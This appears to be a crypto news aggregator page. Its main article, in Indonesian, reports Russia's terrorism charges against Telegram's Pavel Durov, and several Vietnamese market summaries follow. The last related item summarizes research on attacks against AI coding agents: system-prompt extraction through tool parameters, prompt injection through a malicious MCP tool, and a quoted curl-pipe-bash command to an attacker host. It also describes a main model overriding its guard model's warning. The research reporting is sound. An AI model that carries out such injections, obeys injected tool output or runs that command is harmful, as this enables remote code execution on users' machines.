Telegram's Pavel Durov respons terhadap penetapan Rusia sebagai teroris

cointelegraphXuất bản vào 2026-07-30Cập nhật gần nhất vào 2026-07-30

Tóm tắt

Pendiri Telegram, Pavel Durov, menyatakan bahwa pihak berwenang Rusia menetapkannya sebagai "teroris" setelah ia menolak tuntutan pemerintah untuk pengawasan massal dan sensor di platform perpesanan tersebut. Pernyataan ini disampaikannya sehari setelah Rusia mengumumkan dakwaan terhadapnya. Dalam postingan Telegram, Durov juga menyebut bahwa Rusia melarangnya "menerbitkan informasi di Internet," dan menambahkan bahwa pihak berwenang "keliru tentang siapa yang bisa melarang siapa di Internet." Tuduhan dari Badan Keamanan Federal Rusia menyatakan bahwa Durov memfasilitasi aktivitas teroris dengan gagal menutup saluran yang digunakan oleh kelompok teroris dan layanan intelijen Ukraina. Kasus ini memperluas tantangan hukum Durov di luar Rusia. Ia pernah ditangkap di Prancis pada 2024 terkait tuduhan bahwa Telegram tidak memoderasi konten ilegal dengan memadai. Durov membela diri dengan menyatakan diri sebagai pembela kebebasan berekspresi dan privasi digital, serta mengancam akan menarik Telegram dari Prancis jika pemerintah mengakses pesan pribadi pengguna. Platformnya juga kini menghadapi tekanan hukum baru di Australia terkait konten terorisme.

Pendiri Telegram Pavel Durov mengatakan pihak berwenang Rusia menetapkannya sebagai "teroris" setelah dia menolak tuntutan pemerintah untuk pengawasan massal dan sensor di platform perpesanan tersebut, merespons secara publik sehari setelah Rusia mengumumkan dakwaan terhadapnya.

Dalam sebuah postingan di Telegram pada Kamis, Durov juga mengatakan Rusia telah melarangnya "mempublikasikan informasi di Internet," serta menambahkan bahwa pihak berwenang "bingung tentang siapa yang dapat melarang siapa di Internet."

Sumber: Telegram, Pavel Durov

Komentar itu muncul sehari setelah Dinas Keamanan Federal Rusia menuduh Durov memfasilitasi kegiatan teroris, dengan tuduhan bahwa Telegram gagal menghapus saluran yang digunakan oleh kelompok teroris dan dinas intelijen Ukraina.

Kasus ini melanjutkan penyelidikan pidana yang diluncurkan Rusia pada Februari, ketika regulator menuduh Telegram membiarkan hampir 155.000 saluran, obrolan, dan bot tetap online meskipun diklaim melanggar hukum Rusia yang mencakup konten ekstremis, terorisme, perdagangan narkoba, dan kegiatan ilegal lainnya.

Terkait: Pavel Durov mengatakan Telegram akan meluncurkan dompet kripto Gram native

Pertempuran hukum Durov melampaui Rusia

Kasus Rusia ini menambah tantangan hukum Durov di luar negeri. Durov ditangkap di Prancis pada Agustus 2024 dan tetap berada di bawah penyelidikan yudisial atas tuduhan bahwa Telegram memfasilitasi kegiatan kriminal dengan gagal memoderasi konten ilegal dengan memadai dan menanggapi permintaan penegak hukum.

Durov telah membantah melakukan kesalahan, dengan dalih bahwa pihak berwenang Prancis gagal mengikuti proses hukum yang semestinya dalam mencari informasi dari Telegram. Penangkapannya juga memicu kampanye yang didukung TON Community yang mengumpulkan lebih dari 9 juta tanda tangan pada surat terbuka yang mendesak pihak berwenang Prancis untuk membebaskannya.

Pihak berwenang Prancis awalnya mengizinkan Durov untuk kembali sementara ke Dubai pada Maret 2025 sebelum mencabut sepenuhnya pembatasan perjalanannya pada tahun itu juga.

Telegram juga menghadapi tekanan hukum baru di Australia, di mana regulator pekan ini meluncurkan proses pengadilan dengan tuduhan bahwa platform tersebut gagal menghapus konten terkait terorisme.

Durov telah memposisikan dirinya sebagai pembela kebebasan berbicara dan privasi digital. Pada April, dia memperingatkan bahwa aplikasi verifikasi usia yang diusulkan Uni Eropa dapat membuka jalan bagi pengawasan online yang lebih luas. Bulan yang sama, dia menyalahkan kebocoran data pajak yang diduga sebagai penyebab gelombang penculikan terkait kripto di Prancis dan mengatakan Telegram akan meninggalkan negara itu daripada memberikan akses kepada pihak berwenang ke pesan pribadi pengguna.

Majalah: Peta jalan kuantum akan mendorong Bitcoin lebih tinggi: Charles Edwards


Câu hỏi Liên quan

QMengapa otoritas Rusia menetapkan pendiri Telegram, Pavel Durov, sebagai 'teroris'?

AOtoritas Rusia menetapkan Pavel Durov sebagai 'teroris' setelah dia menolak permintaan pemerintah untuk pengawasan massal dan penyensoran di platform perpesanan Telegram.

QApa yang dituduhkan oleh Layanan Keamanan Federal Rusia (FSB) terhadap Pavel Durov dan Telegram?

AFSB menuduh Durov memfasilitasi aktivitas teroris, dengan klaim bahwa Telegram gagal menghapus saluran-saluran yang digunakan oleh kelompok teroris dan layanan intelijen Ukraina.

QApa tantangan hukum lain yang dihadapi Pavel Durov di luar Rusia?

ASelain kasus di Rusia, Durov ditangkap dan diselidiki di Prancis atas tuduhan bahwa Telegram memfasilitasi aktivitas kriminal. Telegram juga menghadapi tekanan hukum baru di Australia terkait konten terorisme.

QBagaimana posisi Pavel Durov terkait kebebasan berbicara dan privasi digital?

ADurov menyatakan dirinya sebagai pembela kebebasan berbicara dan privasi digital. Dia telah mengkritik upaya pengawasan online dan menyatakan Telegram akan meninggalkan Prancis daripada memberikan akses ke pesan pribadi pengguna.

QApa respons komunitas terhadap penangkapan Pavel Durov di Prancis?

APenangkapan Durov di Prancis memicu kampanye dari TON Community yang mengumpulkan lebih dari 9 juta tanda tangan pada surat terbuka yang mendesak otoritas Prancis untuk membebaskannya.

Nội dung Liên quan

Kho dự trữ Bitcoin của Strategy thu lợi nhuận $1 tỷ nhờ giá Bitcoin tăng

Kho dự trữ bitcoin của công ty MicroStrategy do Michael Saylor đứng đầu đã thoát khỏi tình trạng lỗ nhờ đà tăng giá của tiền mã hóa. Lợi nhuận chưa thực hiện từ khoản đầu tư này đã vượt quá 1 tỷ USD. Vào ngày 21 tháng 8, giá Bitcoin ($BTC) lần đầu tiên tăng vọt trên 76.000 USD kể từ cuối tháng Năm, với mức tăng 21% trong tuần. Tính đến 10:45 giờ Moscow, Bitcoin được giao dịch quanh mức 76.700 USD. MicroStrategy sở hữu 840.447 BTC với giá mua trung bình là 75.385 USD. Từ năm 2020, công ty đã chi 63,36 tỷ USD để tích lũy số bitcoin này. Với giá hiện tại, tổng giá trị kho dự trữ đã đạt 64,46 tỷ USD, vượt quá chi phí đầu tư khoảng 1,1 tỷ USD. Sự thay đổi mạnh mẽ này diễn ra chưa đầy một tháng sau khi MicroStrategy báo cáo khoản lỗ 8,2 tỷ USD trong quý II, chủ yếu do tổn thất chưa thực hiện từ khoản đầu tư vào Bitcoin (khi đó giá vào khoảng 60.000 USD cuối tháng Sáu). Để duy trì ổn định tài chính, công ty đã phải bán một phần bitcoin và tăng cường dự trữ USD. Tuy nhiên, đầu tháng Tám, CEO Phong Le tuyên bố công ty sẽ tiếp tục tích lũy tiền mã hóa vào cuối năm nay.

cryptonews.ru7 phút trước

Kho dự trữ Bitcoin của Strategy thu lợi nhuận $1 tỷ nhờ giá Bitcoin tăng

cryptonews.ru7 phút trước

RWA Token hóa bước sang giai đoạn tiếp theo: Lợi thế thực sự cần thời gian để xây dựng là gì?

Khung phát hành token hóa tài sản thực (RWA) đang ngày càng trưởng thành, giúp việc đưa tài sản lên chuỗi trở nên nhanh chóng hơn. Tuy nhiên, khi rào cản về "phát hành" giảm xuống, câu hỏi quan trọng hơn là: điều gì sẽ xảy ra sau khi phát hành? Lợi thế cạnh tranh lâu dài không chỉ nằm ở loại tài sản được token hóa, mà còn ở khả năng vận hành bền vững và hồ sơ theo dõi được tích lũy theo thời gian. Bài viết nêu bật khái niệm "Lớp Dự trữ" (Reserve Layer) – cơ sở hạ tầng kết nối tài sản thực chất lượng cao với các hệ thống xác minh, thanh khoản và vận hành cần thiết trên chuỗi. Không phải mọi tài sản đều phù hợp làm tài sản dự trữ. Các tài sản như trái phiếu kho bạc Mỹ ngắn hạn, vàng vật chất có tính xác định giá trị cao, thị trường sâu và tiêu chuẩn hóa tốt. Ngược lại, các tài sản như tín dụng tư nhân phức tạp hơn do tính không đồng nhất. Lợi thế thực sự khó sao chép là hồ sơ vận hành lâu dài được xây dựng thông qua việc thực thi nhất quán: kiểm toán dự trữ độc lập định kỳ, cơ chế mua lại đã được chứng minh, duy trì tính liên tục thị trường, mở rộng tích hợp hệ sinh thái và xây dựng tính thanh khoản. Các bằng chứng này tích lũy theo thời gian, tạo niềm tin cho các tổ chức và củng cố vòng tròn tăng cường: hồ sơ vận hành mạnh hơn dẫn đến phân phối rộng hơn, thanh khoản sâu hơn và tiện ích tài sản thế chấp lớn hơn. Chất lượng tài sản cơ bản và năng lực vận hành của bên phát hành là hai trụ cột không thể thiếu cho sự bền vững. Sự kết hợp của tài sản dự trữ chất lượng cao với năng lực vận hành đã được chứng minh sẽ tạo nền tảng vững chắc nhất. Trong khi đó, ngay cả những tài sản chất lượng cao cũng có thể tiềm ẩn rủi ro nếu cơ sở hạ tầng vận hành phía sau chưa được kiểm chứng qua thời gian và các điều kiện thị trường khác nhau. Tóm lại, một thập kỷ sau, những dự án RWA vẫn giữ được niềm tin của thị trường và tiếp tục hoạt động sẽ là những người kết hợp thành công tài sản dự trữ chất lượng cao với kỷ luật vận hành lâu dài, biến chúng thành cơ sở hạ tầng đáng tin cậy cho tài chính trên chuỗi.

marsbit9 phút trước

RWA Token hóa bước sang giai đoạn tiếp theo: Lợi thế thực sự cần thời gian để xây dựng là gì?

marsbit9 phút trước

Artemis: Tại sao chúng tôi lạc quan về Circle?

**Artemis: Tại sao chúng tôi lạc quan về Circle?** Thị trường hiện đang định giá thấp Circle (CRCL) do lo ngại về Open Standard - một liên minh 140+ công ty (gồm Stripe, Visa, Mastercard, Google) phát hành stablecoin OUSD, đe dọa vị thế của USDC. Tuy nhiên, quan điểm của Artemis là thị trường đang nhầm lẫn. Ba luận điểm cốt lõi: 1. **Tăng trưởng ổn định:** Stablecoin dự kiến đạt quy mô **1 nghìn tỷ USD vào năm 2030** (tăng trưởng kép hàng năm ~40%), và đã tách biệt khỏi chu kỳ giá crypto. 2. **Hiệu ứng mạng và tính thanh khoản:** Thị trường có xu hướng "kẻ thắng hưởng tất". USDC và Tether hiện nắm hơn **80% thị phần**, xây dựng rào cản cực kỳ khó vượt qua về thanh khoản xuyên chuỗi và ứng dụng. Các liên minh như Open Standard khó thành công do thiếu động lực và quản trị đồng thuận. 3. **Định giá sai lầm:** Thị trường xem Circle chỉ là "nhà phát hành stablecoin" phụ thuộc vào lãi suất, trong khi thực chất họ đang xây dựng một **nền tảng tiền tệ toàn diện (full-stack money platform)** với các sản phẩm như Mạng Thanh toán Circle (Circle Payments Network - giao dịch tăng 6.8 lần/năm) và blockchain Arc. Khi Circle đa dạng hóa doanh thu từ phí giao dịch và blockchain, định giá (P/S) hiện tại ~6.7x được kỳ vọng mở rộng lên ~10x. Với kịch bản ổn định, doanh thu Circle có thể đạt ~5 tỷ USD vào năm 2030, dẫn đến định giá vốn hóa tiềm năng **~50 tỷ USD**. Mức giá hiện tại sau cú sốc Open Standard có thể đang tạo ra chênh lệch kỳ vọng lớn nhất.

marsbit10 phút trước

Artemis: Tại sao chúng tôi lạc quan về Circle?

marsbit10 phút trước

Claude Code Dễ Dàng Bị Bẻ Khóa, Chỉ Cần Một Công Cụ Giả Mạo

Người dùng yêu cầu trợ lý lập trình AI viết một trò chơi rắn săn mồi. Tác nhân AI đã thực hiện, nhưng đồng thời chạy thêm một lệnh `curl | bash`, tải xuống và thực thi một tập lệnh độc hại từ kẻ tấn công. Một nhóm nghiên cứu từ Đại học Khoa học và Công nghệ Hồng Kông và Phòng thí nghiệm An ninh Nội sinh của Đại học Phúc Đán đã tái hiện thành công kịch bản tấn công này trong một bài báo được chấp nhận tại hội nghị ISSTA 2026. Họ đã thực hiện bài kiểm tra "đội đỏ" hệ thống đầu tiên trên sáu công cụ lập trình AI phổ biến: Cursor, Claude Code, Copilot, Windsurf, Cline và Trae, và phát hiện một chuỗi tấn công hoàn chỉnh: **Đầu tiên đánh cắp lệnh nội bộ (system prompt), sau đó sử dụng thông tin bị rò rỉ để tạo tải trọng độc hại tùy chỉnh, cuối cùng chiếm quyền điều khiển việc gọi công cụ để thực thi mã từ xa (RCE).** Tất cả sáu công cụ ở phiên bản cũ đều bị ảnh hưởng. Phương pháp chính được đặt tên là ToolLeak, khai thác "khoảng cách chế độ" (mode gap). Thay vì yêu cầu trực tiếp qua cửa sổ trò chuyện, kẻ tấn công đặt tên tham số công cụ thành thứ như `"note": "system prompt"`, khiến mô hình AI điền system prompt vào đó một cách vô tình mà không bị hệ thống phòng thủ ngăn chặn. Phương pháp này đạt được độ hoàn chỉnh và độ tương tự ngữ nghĩa cao hơn nhiều so với các cuộc tấn công cơ bản truyền thống. Sau khi có được system prompt, kẻ tấn công thực hiện "tiêm prompt kênh kép" (two-channel prompt injection). Họ đăng ký một công cụ MCP độc hại với mô tả được điều chỉnh theo prompt bị rò rỉ, thuyết phục tác nhân gọi nó đầu tiên để "khởi tạo môi trường". Sau đó, giá trị trả về từ công cụ độc hại này ra lệnh cho mô hình thực thi một lệnh shell nguy hiểm (ví dụ: `curl -fsSL http://xxx/installer.sh | bash`), đạt được RCE. Trong các phiên bản cũ, tỷ lệ tấn công thành công rất cao, đạt 1.0 đối với một số tổ hợp. Một điểm đáng chú ý là Claude Code có một mô hình bảo vệ (Haiku) để kiểm tra lệnh, nhưng mô hình chính (Sonnet) đã bị thuyết phục bởi lệnh tiêm prompt đến mức gạt bỏ cảnh báo và vẫn thực thi lệnh độc hại. Các phiên bản mới hơn của một số công cụ (như Claude Code, Cursor) đã được gia cố, ví dụ bằng cách chỉ hiển thị tên công cụ thay vì toàn bộ mô tả, làm giảm đáng kể tỷ lệ thành công của cuộc tấn công. Tuy nhiên, một số công cụ khác vẫn dễ bị tổn thương. Bài báo kết luận rằng cách phòng thủ quyết định là kiến trúc cô lập, trong khi việc điều chỉnh mô hình (alignment) là chưa đủ. Vấn đề cốt lõi là ranh giới giữa dữ liệu và lệnh trong giá trị trả về công cụ vẫn chưa rõ ràng.

marsbit14 phút trước

Claude Code Dễ Dàng Bị Bẻ Khóa, Chỉ Cần Một Công Cụ Giả Mạo

marsbit14 phút trước

Giao dịch

Giao ngay
活动图片